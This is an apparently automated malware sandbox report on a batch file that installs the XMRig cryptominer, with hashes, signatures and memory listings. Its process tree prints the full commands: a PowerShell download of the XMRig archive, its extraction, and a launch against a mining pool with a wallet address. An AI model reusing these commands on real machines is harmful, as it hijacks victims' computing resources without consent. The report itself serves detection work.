Analysis

  • max time kernel
    1794s
  • max time network
    1806s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 07:23

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:8
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1844
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5088

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ef32294976d9291d732045f2c7b75bd9

    SHA1

    8d3a27350a4e625f8456b5f1a02e73904165557e

    SHA256

    759e256b19951b0035e2baa428715ff699e7ae35f7671b929ac02b24ca553219

    SHA512

    fa31da6c840290f04634f2e558885a913c78672a4eebc5f8fb08c7269f79f1af586557ee68ede23f37a31a34e507ec7b4307d6cf53fadc7e80d95865063e1e03

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s24lauc3.z45.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    30KB

    MD5

    e0fd4e23e9c6101b3e26c14a9579b389

    SHA1

    cb0da5f01413e3f6ec3ddb707a2cba3ff5a03e4e

    SHA256

    a6e6773a1dcb9788d9838c2be3fda5fbd422d7931b73c2997598b61dc013aeac

    SHA512

    bc8b1af3472ad5f99b440f61853300ca501341cfef5e6d6c0156331ae0c3be0e788d7663569c1edbd94e083e77c9cf3ca35d28ff339b00805ac6bc373cc618cf

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    78KB

    MD5

    05687030d6c1ff777ef5f200c6cb3e9d

    SHA1

    3ab330585182bb084509873bb8594e7aae48124a

    SHA256

    b404c3f533cf252f51749190bcf028ee93536a7edb49565debe478fd223907e9

    SHA512

    27b8760dc3b2f109e92f8a675dfd28f5cd0d7463fea741e874040ccb30d588a5cbb46b075a6301187e3f714d714a01b3b637206b94bccc9874c15439c9828325

  • memory/1844-41-0x0000020A6E560000-0x0000020A6E570000-memory.dmp

    Filesize

    64KB

  • memory/1844-39-0x00007FF823750000-0x00007FF82413C000-memory.dmp

    Filesize

    9.9MB

  • memory/1844-117-0x00007FF823750000-0x00007FF82413C000-memory.dmp

    Filesize

    9.9MB

  • memory/1844-80-0x0000020A6EA40000-0x0000020A6EA52000-memory.dmp

    Filesize

    72KB

  • memory/1844-93-0x0000020A6E850000-0x0000020A6E85A000-memory.dmp

    Filesize

    40KB

  • memory/1844-66-0x0000020A6E560000-0x0000020A6E570000-memory.dmp

    Filesize

    64KB

  • memory/1844-42-0x0000020A6E560000-0x0000020A6E570000-memory.dmp

    Filesize

    64KB

  • memory/5044-29-0x000002BDB85C0000-0x000002BDB85D0000-memory.dmp

    Filesize

    64KB

  • memory/5044-6-0x00007FF823750000-0x00007FF82413C000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-34-0x00007FF823750000-0x00007FF82413C000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-10-0x000002BDB8650000-0x000002BDB86C6000-memory.dmp

    Filesize

    472KB

  • memory/5044-8-0x000002BDB85C0000-0x000002BDB85D0000-memory.dmp

    Filesize

    64KB

  • memory/5044-25-0x000002BDB85C0000-0x000002BDB85D0000-memory.dmp

    Filesize

    64KB

  • memory/5044-9-0x000002BDB85C0000-0x000002BDB85D0000-memory.dmp

    Filesize

    64KB

  • memory/5044-28-0x000002BDB85C0000-0x000002BDB85D0000-memory.dmp

    Filesize

    64KB

  • memory/5044-27-0x000002BDB85C0000-0x000002BDB85D0000-memory.dmp

    Filesize

    64KB

  • memory/5044-26-0x00007FF823750000-0x00007FF82413C000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-4-0x000002BDB8430000-0x000002BDB8452000-memory.dmp

    Filesize

    136KB

  • memory/5088-143-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-155-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-122-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-123-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-125-0x00000183C61F0000-0x00000183C6210000-memory.dmp

    Filesize

    128KB

  • memory/5088-124-0x00000183C5FC0000-0x00000183C5FE0000-memory.dmp

    Filesize

    128KB

  • memory/5088-126-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-127-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-129-0x00000183C61F0000-0x00000183C6210000-memory.dmp

    Filesize

    128KB

  • memory/5088-128-0x00000183C5FC0000-0x00000183C5FE0000-memory.dmp

    Filesize

    128KB

  • memory/5088-130-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-131-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-132-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-133-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-134-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-135-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-136-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-137-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-138-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-139-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-140-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-141-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-142-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-120-0x0000018331FF0000-0x0000018332010000-memory.dmp

    Filesize

    128KB

  • memory/5088-144-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-145-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-146-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-147-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-148-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-149-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-150-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-151-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-152-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-153-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-154-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-121-0x00000183C5B60000-0x00000183C5BA0000-memory.dmp

    Filesize

    256KB

  • memory/5088-156-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-157-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-158-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-159-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-160-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-161-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-162-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-163-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-164-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-165-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-166-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-167-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-168-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-169-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-170-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-171-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-172-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-173-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-174-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-175-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-176-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-177-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-178-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-179-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-180-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-181-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-182-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-183-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-184-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-185-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-186-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-187-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5088-188-0x00007FF6EEEA0000-0x00007FF6EF9A3000-memory.dmp

    Filesize

    11.0MB